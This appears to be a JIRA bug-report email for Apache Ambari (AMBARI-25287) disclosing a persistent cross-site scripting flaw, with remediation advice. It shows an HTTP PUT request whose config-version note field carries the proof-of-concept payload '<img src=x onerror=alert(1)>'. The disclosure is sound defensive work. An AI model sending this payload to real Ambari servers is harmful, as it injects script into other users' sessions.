Andrii Tkach created AMBARI-25287:
-------------------------------------

             Summary: Persistent Cross Site Scripting (XSS) in Ambari
                 Key: AMBARI-25287
                 URL: https://issues.apache.org/jira/browse/AMBARI-25287
             Project: Ambari
          Issue Type: Bug
          Components: ambari-web
    Affects Versions: 2.6.2
            Reporter: Andrii Tkach


Below is the HTTP Request and Response issued when a user submits a note 
containing a JavaScript
after modifying some configuration in "Tez" service.
HTTP Request:
PUT /api/v1/clusters/<env> HTTP/1.1
Host: xyz601:8080
Content-Length: 199
Accept: application/json, text/javascript, /; q=0.01
Origin: http://xyz601:8080
X-Requested-With: XMLHttpRequest
X-Requested-By: X-Requested-By
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://xyz:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: AMBARISESSIONID=vfiy4336mxwl1k5ehd6jrz43i
Connection: close
{"Clusters":{"desired_service_config_versions":

{"service_config_version":4,"service_name":"TEZ","service_config_version_note":"Creat
 ed from service config version V4\n<img src=x onerror=alert(1)>"}
}}

Remediation Recommendations
Restrict all input passed to the application to valid, whitelisted content, and 
ensure that all
response/output sent by the server is HTML/URL/JavaScript encoded, depending on 
the context in
which the data is used by the application.
The remediation should not attempt to blacklist content and remove, filter, or 
sanitize it. There are
too many types of encoding it to get around filters for such content.
We strongly recommend a positive security policy that specifies what is allowed.
Negative or attack signature based policies are difficult to maintain and are 
likely to be incomplete.



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)

Reply via email to